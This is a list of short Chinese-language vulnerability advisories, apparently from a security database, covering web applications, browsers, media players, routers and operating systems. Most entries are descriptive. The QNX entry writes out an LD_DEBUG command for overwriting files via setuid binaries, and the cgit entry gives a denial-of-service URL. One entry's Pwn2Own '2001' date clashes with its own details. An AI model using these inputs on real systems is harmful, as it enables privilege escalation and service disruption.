feedparser是一款用于解析各种feeds的Python库。feedparser在Entry html中的未转义DOCTYPE声明可导致feedparser崩溃，允许攻击者进行拒绝服务和绕过安全限制。
feedparser是一款用于解析各种feeds的Python库。feedparser中畸形的评注可绕过HTML过滤，允许攻击者进行拒绝服务和绕过安全限制。
checkview 1.1版本存在目录遍历漏洞。攻击者可以发送包含".."的特制的URL编码请求(...%2F ...%2F)在网站根目录以外的位置读或写任意文件。
TFTgallery是一款开源的PHP相册程序。TFTgallery存在本地文件包含漏洞，可能导致敏感信息泄露。
Pub-Me是一款内容管理系统。Pub-Me CMS中登陆页面存在SQL盲注入漏洞，可能导致敏感信息泄露。
WebRCSdiff是一款版本控制工具。WebRCSdiff的viewver.php存在远程文件包含漏洞，可能导致攻击者直接获取WebShell。
Xen 是一个开放源代码虚拟机监视器，由剑桥大学开发。Xen在实现上存在拒绝服务漏洞，本地攻击者可利用此漏洞造成操作系统崩溃，拒绝服务合法用户，也可能导致提升权限。
Linux Kernel是Linux操作系统的内核。Linux Kernel在ethtool.c的实现上存在信息泄露漏洞，本地攻击者可利用此漏洞从栈中获取敏感信息。
sX-Shop是一款PHP+MySQL开发的在线商城系统。该系统的view_image.php文件存在SQL注入漏洞，可能导致敏感信息泄露。
Log1是一款内容管理系统。Log1的文件管理功能存在多个安全漏洞，可能导致攻击者获取网站shell。
Cover Vision是一款可以将照片转换为杂志封面的Web程序。Cover Vision存在SQL注入漏洞，可能导致敏感信息泄露。
CoolZip是一款解压缩工具。CoolZip没有正确处理'.zip'文件，攻击者可以利用此漏洞进行缓冲区溢出攻击，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Constructr是一款由PHP和MySQL创建的内容管理系统。Constructr中存在SQL注入，由于没有合理地验证‘page_id’参数的用户输入，当应用程序尝试析‘/xmlOutput/constructrXmlOutput.content.xml.php’脚本中的恶意的‘page_id’参数值时存在错误，导致SQL注入攻击。攻击者利用此漏洞可能导致敏感信息泄露。
Constructr是一款内容管理系统。Constructr中存在跨站脚本漏洞，可能导致敏感信息泄露。
N`CMS 是一款内容管理系统。N`CMS 存在本地文件包含漏洞，可能导致敏感信息泄露。
QNX RTOS是一款设计用于嵌入系统的实时操作系统。QNX Neutrino RTOS实时链接器支持使用LD_DEBUG和LD_DEBUG_OUTPUT环境变量用于调试。这些环境变量盲目信任以setUID方式执行并且以其他用户运行的两进制程序。如可以如下类似方法创建或覆盖任意文件：LD_DEBUG=all LD_DEBUG_OUTPUT=/pwned <setuid binary here>如果文件存在，那么会被LD_DEBUG输出覆盖，并保留其已存在的权限。如果文件不存在，那么就会创建新文件，属主为root, nobody，其他用户可写。通过使用符号链接和竞争条件的攻击，攻击者可以利用漏洞装载任意库，提升特权。
Microsoft Windows Movie Maker是一款简易非线性编辑软件。Windows Movie Maker不正确处理特制构建的'.avi'文件，攻击者可以利用此漏洞触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
KMPlayer是一款流行的媒体播放程序。KMPlayer不正确处理特制构建的'.avi'文件，攻击者可以利用此漏洞触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Blackberry Browser是一款用于黑莓手机上的WEB浏览器。Blackberry Browser存在未明安全漏洞，允许导致触发整数溢出而以应用程序上下文执行任意代码。
Blackberry Browser是一款用于黑莓手机上的WEB浏览器。Blackberry Browser存在未明安全漏洞，允许导致敏感信息泄露而以应用程序上下文执行任意代码。
IBM WebSphere Application Server是一款商业性质的WEB应用服务程序。IBM WebSphere Application Server 7.0.0.15之前的版本在实现上存在多个安全绕过、跨站脚本执行和其他漏洞。远程攻击者可利用这些漏洞执行任意脚本代码，窃取Cookie验证凭证，获取敏感信息及执行未授权操作。
WebKit是一款开放源代码的浏览器引擎。WebKit在一个释放后使用漏洞，攻击者可以利用漏洞可导致以应用程序安全上下文执行任意代码。
Microsoft Internet Explorer是一款基于WEB的浏览器。爱尔兰研究人员在Pwn2Own 2001黑客挑战赛上通过三种不同的漏洞和利用技巧攻克了运行在64-bit Windows 7 (SP1)上的Internet Explorer 8。目前没有详细漏洞细节提供。
openEngine是一款使用PHP开发的Web内容管理系统。openEngine存在本地包含漏洞，可能导致敏感信息泄露。
Mark Overmeer Mail-Box是一款用于处理电子邮件的Perl模块。Mark Overmeer Mail-Box相关边界猜测存在一个未明安全问题，目前没有详细漏洞细节提供。
JBI是一款使用PHP开发的、易于使用的内容管理系统。JBI CMS中的news_details.php文件存在SQL注入漏洞，可能导致敏感信息泄露。
Comtrend CT-5367 ADSL Router是一款ADSL路由器。由于设备允许未验证访问"password.cgi"脚本，远程攻击者可以通过提交特制HTTP请求，更改管理员密码，获得对设备的访问。
Air Contacts Lite是用于iPhone上的用于与Mac或PC交换联系人的应用程序。Air Contacts Lite向程序发送特制的HTTP报文，可导致应用程序崩溃。
DO-CMS是一款定位于中小型应用的、界面友好的内容管理系统。DO-CMS中存在多处SQL注入漏洞，可能导致敏感信息泄露。
vBulletin是一款商业论坛程序。vBulletin中的EggAvatar插件存在SQL注入漏洞，可能导致敏感信息泄露。
Keynect Ecommerc是一款电子商务系统。Keynect Ecommerc中的products.php存在SQL注入漏洞，可能导致敏感信息泄露。
AuraCMS是一款内容管理系统。AuraCMS的pfd.php存在SQL注入漏洞，可能导致敏感信息泄露。
Redmine是基于ROR框架开发的一套跨平台项目管理系统，是项目管理系统的后起之秀。Redmine存在远程代码执行漏洞，可能导致攻击者远程执行任意代码。
ComercioPlus是一款使用PHP编写的虚拟商店系统。ComercioPlus中的pp_productos.php文件存在SQL注入漏洞，可能导致敏感信息泄露。
PHP Link Directory是一款流行互联网分类目录系统。PHP Link Directory中的showcats.php文件存在SQL注入漏洞，可能导致敏感信息泄露。
MultiCMS是一款灵活的内容管理系统，可以帮你建立专业的网站。MultiCMS的index.php文件存在本地文件包含漏洞，可能导致敏感信息泄露。
RW-Download是一款支持模板及多语言版本的上传下载系统。RW-Download的index.php存在SQL注入漏洞，可能导致敏感信息泄露。
PMB Services是一款法国的php web应用程序。PMB Services中的index.php存在sql注入漏洞，可能导致敏感信息泄露。
KingView是一款用于工业自动化的构建数据信息服务平台的产品。WellinTech KingView 'KVWebSvr.dll' ActiveX控件处理ValidateUser方法的参数存在边界条件错误，远程攻击者可以利用漏洞构建恶意WEB页，诱使用户解析，以应用程序安全上下文执行任意代码。
GRAND Flash Album Gallery是Wordpress的一个管理和现实图片的插件。'/wp-content/plugins/flash-album-galleryb/hitcounter.php'参数过滤不当，可以导致敏感信息泄露。
GRAND Flash Album Gallery是Wordpress的一个管理和现实图片的插件。'/wp-content/plugins/flash-album-galleryb/hitcounter.php'参数过滤不当，利用这些漏洞，攻击者可以执行sql语句。
RecordPress是一款免费的在线发布记录的工具。RecordPress 0.3.1版本中存在跨站脚本攻击漏洞。可能导致敏感信息泄露。
RecordPress是一款免费的在线发布记录的工具。RecordPress 0.3.1版本中存在跨站请求伪造漏洞。攻击者可以利用漏洞修改管理员密码。
Esselbach Storyteller是一款功能强大的内容管理系统。Esselbach Storyteller CMS 1.8版本的page.php存在SQL注入漏洞，可能导致敏感信息泄露。
maian weblog是一款免费的博客系统。maian weblog 4.0及之前版本中的index.php存在SQL盲注入漏洞，可能导致敏感信息泄露。
libxslt是扩展了libxml2，以支持XSLT文件的库。libxslt库提供的用于XSL转换的generate-id() XPath函数存在缺陷，攻击者可以利用此漏洞获得对象地址,漏洞可被利用用于帮助针对ASLR的攻击。
unixODBC是一款可在Unix/Linux系统下使用ODBC来连接数据库的组件。如果向SAVFILE参数指定超长字符串，可导致unixODBC SQLDriverConnect()函数触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
TeamViewer是一款能穿透内网的远程控制软件。应用程序不安全设置安全目录中的文件系统权限，攻击者可以利用漏洞覆盖"Version6"目录中的任意程序或库。当管理员用户启动桌面应用程序时可导致以管理员权限执行任意代码，但是在安装过程中需启用"Remote Access"功能(默认禁用)。
Apple QuickTime是一款流行的多媒体播放器。Apple QuickTime不正确处理特制的'.m3u'文件，攻击者可以利用漏洞构建恶意文件，诱使用户解析，以应用程序安全上下文执行任意代码。
TinyWebGallery是一款php相册程序。TinyWebGallery 1.8.3中包含跨站脚本攻击漏洞，可能导致敏感信息泄露。
TinyWebGallery是一款php相册程序。TinyWebGallery 1.8.3中包含目录遍历漏洞，可能导致敏感信息泄露。
Nokia N97是一款流行的移动电话。Nokia N97解析.m3u文件时存在缓冲区溢出，攻击者可以利用漏洞构建恶意文件，诱使用户解析，使手机上的应用程序崩溃。
NetBSD是一款基于BSD的操作系统。kern.proc sysctl树处理器没有过滤输入和基于用户提供的值(命令参数的数量)分配内核内存，根据不同情况，可导致内核内存耗竭或分配内存出错。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，RegExp代码重入可导致内存破坏。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，V8存在一个非法内存访问错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，属性处理存在一个错误可导致DOM树破坏。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，SVG光标处理存在一个失效指针错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
DIY Web是一款使用asp开发的内容管理系统。DIY Web中存在跨站脚本漏洞，可能导致敏感信息泄露。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，XSLT存在堆地址泄露问题。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，WebKit上下文代码存在一个失效指针错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，文本渲染存在一个错误赋值问题。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，使用特制DataView对象可使浏览器崩溃。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，视频编码中存在使用破坏的越界的结构。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，Painting表存在一个失效指针错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Movavi VideoSuite是一款功能强大的视频编辑工具。Movavi VideoSuite不正确处理.m3u, .avi, .jpg文件，攻击者可以构建恶意文件，诱使用户访问触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意指令。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，文档脚本生存期处理存在释放后使用错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，弹出窗口拦截器存在安全绕过问题。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，v8中存在一个同源策略绕过问题。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，处理unicode范围存在一个越界读错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，DOM URL处理存在一个释放后使用错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，布局框中存在一个失效节点。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，计数器节点存在一个内存破坏漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，存在一个跨域错误消息泄露漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，并行print()可使浏览器崩溃。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，超长消息可使X server崩溃。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在安全漏洞，可导航或关闭沙盒框上的顶部位置。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Escort Directory CMS是一款专门为成+人网站打造的内容管理系统。Escort Directory CMS存在sql注入漏洞，可能导致敏感信息泄露。
DIY Web是一款使用asp开发的内容管理系统。DIY Web中存在SQL注入漏洞，可能导致敏感信息泄露。
BMForum是一款应用于个人、商业领域的基于MySQL数据库新型PHP论坛程序。BMForum Myna 6.0版本中存在SQL注入漏洞，可能导致敏感信息泄露。
.NET Runtime Optimization Service 是.NET运行优化服务进程。.NET Runtime Optimization Service的mscorsvw.exe（在默认权限设置时）能被任何非管理员的域用户以及本地的power users用户组重写或覆盖，从而导致权限提升。
TP-LINK TL-WR740N Router是一款无线路由器。TP-LINK TL-WR740N Router存在安全漏洞，在1秒内向web控制台或UPnP端口连续发送10个或更多报文，服务会变得没有响应。
TP-LINK TL-WR740N Router是一款无线路由器。TP-LINK TL-WR740N Router存在安全漏洞。TP-LINK TL-WR740N路由器没有过滤用户输入数据，可导致跨站脚本攻击。
Wing FTP Server是一款FTP服务程序。Wing FTP Server处理SFTP连接存在一个未明错误，远程攻击者可以利用漏洞对服务器进行拒绝服务攻击，使服务器停止响应。
GNU glibc是一款Linux操作系统中C库的实现。每个suid挂接帮助程序使用addmntent() (或者调用util-linux挂接，反过来又调用addmntent())向/etc/mtab文件增加条目时没有正确处理RLIMIT_FSIZE值，允许非特权用户破坏/etc/mtab，及可能操作挂接点选项。影响的软件包括如下：mount.cifs (samba)fusermount (FUSE)mount (util-linux)ncpmount (ncpfs)vmware-hgfsmounter (open-vm-tools)
Microsoft Internet Explorer是一款流行的WEB浏览器。当更新弹出窗口的地址栏字段时存在一个错误，攻击者可以构建恶意WEB页，诱使用户访问，使得弹出窗口地址栏显示一部分地址，以让用户错误的认为是一个合法可信地址，泄露敏感信息。
mrouted守护进程是距离向量多广播路由协议（DVMRP）的一种实现。mrouted不安全创建临时文件，本地攻击者可以通过符号链接攻击覆盖系统任意文件，导致拒绝服务或特权提升。
Comtrend CT-5367 ADSL Router是一款ADSL路由器。Comtrend CT-5367 ADSL Router存在一个跨站请求伪造漏洞，远程攻击者可以构建恶意链接，诱使管理员点击，可导致以管理员权限执行恶意操作。
Hiawatha是一款Linux/UNIX下安全的Web服务器。Hiawatha解析HTTP头数据存在错误，提交包含超大值的"Content-Length"头数据，可导致服务器崩溃。
Foxit Reader是一款流行的处理PDF文件的应用程序。Foxit Reader不正确处理JavaScript API，攻击者可以利用漏洞构建恶意PDF，诱使用户使用Foxit Reader解析，以应用程序权限在系统上创建或覆盖文件。
AltiGen AltiServ是一款构建网络电话和呼叫中心系统的全功能服务器。altigateway.exe进程存在一个未明错误，攻击者扫描服务器地址中的TCP 5061端口可破坏堆内存而造成拒绝服务攻击，需要重新启动获得正常服务。
cgit是一种git代码浏览工具，类似gitweb。html.c提供的"convert_query_hexchar()"函数存在单字节错误，攻击者向URL提交非法的HEX如：http://git.gnome.org/browse/gdlmm/commit/?id=%gg，convert_query_hexchar调用memmove(txt, txt+3, 0)，之后会返回txt-1，因此http_parse_querystring将陷入死循环，造成拒绝服务攻击。
IWantOneButton是一个允许博客帖子上存在“I want one”和“I have one”按钮，点击后可显示微件的简单插件。IWantOneButton 3.0.1 Wordpress插件存在SQL注入漏洞，由于没有验证“/wp-content/plugins/iwant-one-ihave-one/updateAJAX.php”脚本中“post_id”变量的用户输入，导致SQL注入攻击。攻击者利用特制的查询语句，对数据库执行任意查询，获取基于cookie认证及其他敏感信息。
Quicktech所有版本中存在SQL注入漏洞。可能导致敏感信息泄露。
Readmore Systems Script是一款新闻类脚本系统。Readmore Systems Script中的news.php文件存在SQL注入漏洞，可能导致敏感信息泄露。
Bitweaver是一个开源的内容管理系统。Bitweaver 2.8版本存在路径暴露漏洞。目前没有详细的漏洞细节提供。
Bitweaver是一个开源的内容管理系统。Bitweaver 2.8版本存在SQL注入漏洞。目前没有详细的漏洞细节提供。
Galilery是一款使用PHP编写的开放源代码的相册系统。Galilery 1.0版本中存在本地文件包含漏洞，可能导致敏感信息泄露。
EnterpriseDB Postgres Plus Advanced Server是一款开源数据库PostgreSQL的商业版本。监听在TCP 9000和9363端口的DBA管理服务器组件存在缺陷。当处理客户端验证时，服务器没有正确限制对jmx-console或web-console的直接访问，这些控制台允许任意类实例化。远程攻击者可以利用漏洞以服务上下文执行任意代码。
Alcassoft's SOPHIA是一款功能强大的内容管理系统。Alcassoft's SOPHIA中的dsp_page.cfm文件存在sql注入漏洞，可能导致敏感信息泄露。
PolarSSL是一款高效易移植的SSL代码库。PolarSSL没有正确拒绝使用于Diffie-Hellman密钥交换中的弱密钥，攻击者可以利用漏洞通过中间人攻击，在握手阶段修改参数，生成可预测的密钥。要成功利用此漏洞需要应用使用了SSL_EDH_RSA_DES_168_SHA, SSL_EDH_RSA_AES_128_SHA, SSL_EDH_RSA_AES_256_SHA, SSL_EDH_RSA_CAMELLIA_128_SHA或SSL_EDH_RSA_CAMELLIA_256_SHA，并且没有使用充分验证(Full authentication)。
Gri是科学图形程序使用的一种高级语言。Gri不安全建立临时文件，本地攻击者可以利用符号链接攻击覆盖系统文件，造成拒绝服务或提权提升。
Magic Music Editor 是一款录音以及音频编辑软件。它支持多种音频格式，包括Windows PCM (WAV), MP3, Ogg Vorbis, WMA 9 以及 AIFF。Magic Music Editor 8.12.2.11版本中存在缓冲区溢出漏洞，可被利用在目标机器上执行任意代码。
TIOD是一款iPhone/iPod touch的远程目录浏览软件。TIOD v1.3版本存在目录遍历漏洞。目前没有详细的漏洞细节提供。
Nitro PDF是免费的PDF软件，具有创建、注释、审阅、保存PDF表单、提取文本和图形、直接输入文字到页面等功能。Nitro PDF在实现上存在远程内存破坏漏洞。
PDF-Pro是一款PDF的制作与管理软件。ePapyrusReader.ocx提供的不安全 "UploadFTP"法组合的"SetFTPInfo()"，可向目标系统上传任意文件。
PDF-Pro是一款PDF的制作与管理软件。ePapyrusReader.ocx提供的不安全"DownloadFTP()"方法组合的"SetFTPInfo()"，可下载用户系统上任意文件。
PDF-Pro是一款PDF的制作与管理软件。'ePapyrusReader.ocx'提供不安全的"RemoveFile()"方法，允许删除用户系统上任意文件。
PDF-Pro是一款PDF的制作与管理软件。PDF-Pro当处理字段中破坏的数组时ePapyrusReader.ocx存在一个释放后使用错误，构建特制PDF文件可引用已释放内存。
PDF-Pro是一款PDF的制作与管理软件。PDF-Pro处理传递给"open_stream()"方法的ePapyrusReader.ocx控件存在两个释放后使用错误，可触发引用已释放内存。
PDF-Pro是一款PDF的制作与管理软件。PDF-Pro处理传递给"open()"方法的PDF Reader ActiveX控件(ePapyrusReader.ocx)存在一个边界条件错误，可触发基于栈的缓冲区溢出。
PDF-Pro是一款PDF的制作与管理软件。PDF-Pro应用程序以不安全方式装载库(如dwmapi.dll)，诱使用户从远程WebDAV或SMB共享中打开PDF文件，可装载任意库。远程攻击者可以利用漏洞以应用程序安全上下文执行任意代码。
Moodle是一款开放源代码的网络教学应用程序。Moodle应用程序存在跨站请求伪造攻击，构建恶意链接，诱使用户点击可利用此漏洞，允许攻击者利用漏洞绕过安全限制，获得敏感信息，进行跨站脚本等攻击。
Moodle是一款开放源代码的网络教学应用程序。"teacher"角色默认权限布安全，可导致布安全删除课程。允许攻击者利用漏洞绕过安全限制，获得敏感信息，进行跨站脚本等攻击。
Moodle是一款开放源代码的网络教学应用程序。Moodle通过课程标签传递的输入在返回用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击。
Moodle是一款开放源代码的网络教学应用程序。"$CFG->forceloginforprofiles"选项存在一个错误，可通过搜索引擎索引或Guest用户访问获得课程简档信息。允许攻击者利用漏洞绕过安全限制，获得敏感信息，进行跨站脚本等攻击。
Moodle是一款开放源代码的网络教学应用程序。Moodle部分输入在使用之前媒体过滤器缺少过滤，可导致触发跨站脚本攻击。
Moodle是一款开放源代码的网络教学应用程序。Moodle应用程序不安全存储IMS企业注册文件(imsenterprise-enrol.xml)，可导致敏感信息泄露。
Moodle是一款开放源代码的网络教学应用程序。Moodle通过"query"参数传递给tag/tag_autocomplete.php脚本的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的布局处理存在未明错误可导致一个悬浮指针漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的blocked插件处理存在一个释放后使用漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本pickle反序列化存在一个错误，此漏洞仅影响linux上的64位build，可导致越界读取。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本存在一个未明漏洞，可导致一个内部扩展函数泄露问题。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的文本域处理存在一个整数溢出错误。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的WebGL存在一个未明漏洞，可被利用进行越界读取。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本处理表单控制存在一个未明错误，允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本在处理设备定向时存在一个未明错误，可导致一个悬浮指针漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本处理KEY帧规则存在错误可导致一个悬浮指针漏洞,允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的文本域处理存在一个未明漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本处理样式表节点存在错误可导致一个悬浮指针漏洞,允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本在处理XHML时存在未明错误，可导致一个悬浮节点。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本处理JavaScript对话框存在未明错误，允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的SVG动画存在未明错误可导致一个悬浮指针漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的表渲染存在一个未明错误可导致一个悬浮指针漏洞。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本表处理存在未明漏洞可导致一个悬浮节点。允许攻击者进行拒绝服务，伪造攻击，获得敏感信息或任意代码执行攻击。
MyDocs是一款 iPhone下支持文档和图片等的文件管理工具。iPhone MyDocs 2.7版本中存在目录遍历漏洞，可能导致敏感信息泄露。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark超大LDAP过滤器字符串可消耗大量内存，造成拒绝服务攻击。
Wireshark是一款开放源代码的网络协议分析工具。LDAP和SMB解析器存在一个缓冲区溢出，可溢出栈，造成任意代码执行。
Wireshark是一款开放源代码的网络协议分析工具。PCAP-NG文件中提供超长报文长度，Wireshark解析时会崩溃。
Tor是一款二代洋葱路由（onion routing）实现。'src/or/policies.c'提供的"policy_summarize()"函数存在辩解错误，攻击者可以利用漏洞使Tor目录授权服务崩溃。
Google Chrome是一款流行的WEB浏览器。Google Chrome 9.0.597.107之前版本的相关URL栏存在一个未明错误，可导致进行伪造攻击。
Home FTP Server是一款简单易用的FTP服务软件。Home FTP Server 1.12版本存在目录遍历漏洞。目前没有详细的漏洞细节提供。
v86d是在模拟环境下运行x86代码的的用户空间帮助程序。v86d没有正确校验Netlink消息的来源，本地攻击者可以利用漏洞绕过安全限制，发送特制Netlink消息操作部分uvesafb设置，或者可能提升特权。
libpam-pgsql是一款使用PostgreSQL数据库进行验证的PAM模块。src/backend_pgsql.c中的"pg_execParam()"函数使用不正确的格式符，攻击者向链接此库的应用程序提交类似x.199.x.x的IP地址进行查询，会转换为x.-57.x.x，可触发基于堆的缓冲区溢出。
HP StorageWorks File Migration Agent是一款文件归档方案数字工作流管理软件。负责管理归档存储的HsmCfgSvc.exe服务存在缺陷，由于归档管理器针对远程用户缺少正确的校验，攻击者可以利用此缺陷破坏管理归档的服务器，以File Migration Agent软件上下文任意修改存储的归档数据。
Citrix Secure Gateway是一款Citrix访问套件架构中用于安全访问Citrix产品的组件。Citrix Secure Gateway存在一个安全漏洞，允许远程攻击者触发此漏洞以Secure Gateway进程上下文执行任意代码。目前没有详细漏洞细节提供。
Microsoft Visual Studio是一款微软公司的开发工具套件系列产品。Microsoft Visual Studio不正确处理特制的项目文件，攻击者可以诱使用户打开，可以以应用程序安全上下文执行任意代码。
Movavi VideoSuite是一款视频编辑工具。Movavi VideoSuite不正确处理特制的'.jpg'文件，攻击者可以诱使用户打开，可以以应用程序安全上下文执行任意代码。
Magic Music Editor是一款音频数字化转换工具。Magic Music Editor不正确处理特制的'.cda'文件，攻击者可以诱使用户打开，可以以应用程序安全上下文执行任意代码。
KMPlayer是一款媒体播放程序。KMPlayer不正确处理特制的'.ksf'文件，攻击者可以诱使用户打开，可以以应用程序安全上下文执行任意代码。
Elecard MPEG Player是一款媒体播放程序。Elecard MPEG Player不正确处理特制的'.m3u'文件，攻击者可以诱使用户打开，可以以应用程序安全上下文执行任意代码。
DivX Player是一款媒体播放程序。DivX Player不正确处理特制的'.dps'文件，攻击者可以诱使用户打开，可以以应用程序安全上下文执行任意代码。
COWON America JetAudio是一款媒体播放程序。COWON America JetAudio不正确处理特制的'.jsk'文件，攻击者可以诱使用户打开，可以以应用程序安全上下文执行任意代码。
MyDocs是一款用于智能手机上的文件管理程序。MyDocs不正确过滤用户提交的输入，攻击者可以利用目录遍历攻击，获得目标用户敏感信息。
Linksys WAG120N Wireless Router是一款无线路由器。Linksys WAG120N Wireless Router存在跨站请求伪造漏洞，攻击者构建恶意链接，诱使用户点击，可更改用户密码等操作。
iFile是一款用于智能手机上的文件管理程序。iFile不正确过滤用户提交的输入，攻击者可以利用目录遍历攻击，获得目标用户敏感文件信息。
GNU glibc是一款Linux操作系统中C库的实现。"fnmatch()"函数实现存在错误，诱使使用此函数的应用程序解析特制输入，可触发栈破坏，导致应用程序崩溃。
Ractor Folders是一款用于智能手机上的文件管理程序。Ractor Folders不正确过滤用户提交的输入，攻击者可以利用目录遍历攻击，获得目标用户敏感文件信息。
EDraw Office Viewer Component是一款用于显示和交互Microsoft Office文档的ActiveX控件。Edraw Office Viewer提供的ActiveX控件处理"HttpPost()"方法存在边界错误，向"WebUrl"参数传递超长字符串，诱使用户处理，可触发基于栈的缓冲区溢出。
MuPDF和Sumatra PDF是用来阅读PDF文件的应用程序。MuPDF和Sumatra PDF存在多个整数溢出，攻击者可以利用漏洞使应用程序崩溃或执行任意代码。mupdf/fitz/res_pixmap.c提供的"fz_newpixmap()"函数存在整数溢出错误，构建包含特制维度图像的PDF文件，诱使用户解析，可触发基于堆的缓冲区溢出。
VicFTPS是一款基于windows的FTP服务程序。VicFTPS不正确处理特殊的'list'命令，远程攻击者可利用漏洞使应用程序崩溃。
Afaria是Sybase的移动企业商业智能软件，它在提供移动设备管理的同时对基于Windows的笔记本电脑执行数据加密。Sybase Afaria数据安全管理器存在安全漏洞，允许物理访问设备的用户绕过部分安全限制。存在一个未明错误，通过触发一系列事件可允许攻击者绕过登录限制访问设备。
Python是一款面向对象、 直译式计算机程序设计语言。"CGIHTTPServer"模块不正确处理针对"cgi-bin"目录中脚本的HTTP请求，如果URI开始处没有使用"/"，可导致泄露CGI脚本源代码，可能泄露密码等信息。
YUYAO mobile Software PDF Reader Pro是一款基于智能手机的PDF文件处理程序。PDF Reader Pro不正确处理目录遍历序列，攻击者可以利用漏洞获取限制目录之外的文件。
MuPDF和Sumatra PDF是用来阅读PDF文件的应用程序。MuPDF和Sumatra PDF存在多个整数溢出，攻击者可以利用漏洞使应用程序崩溃或执行任意代码。mupdf/pdf_function.c提供的"loadsamplefunc()"函数存在整数溢出错误，构建包含特制大小的sample函数的PDF文件，诱使用户解析，可触发基于堆的缓冲区溢出。
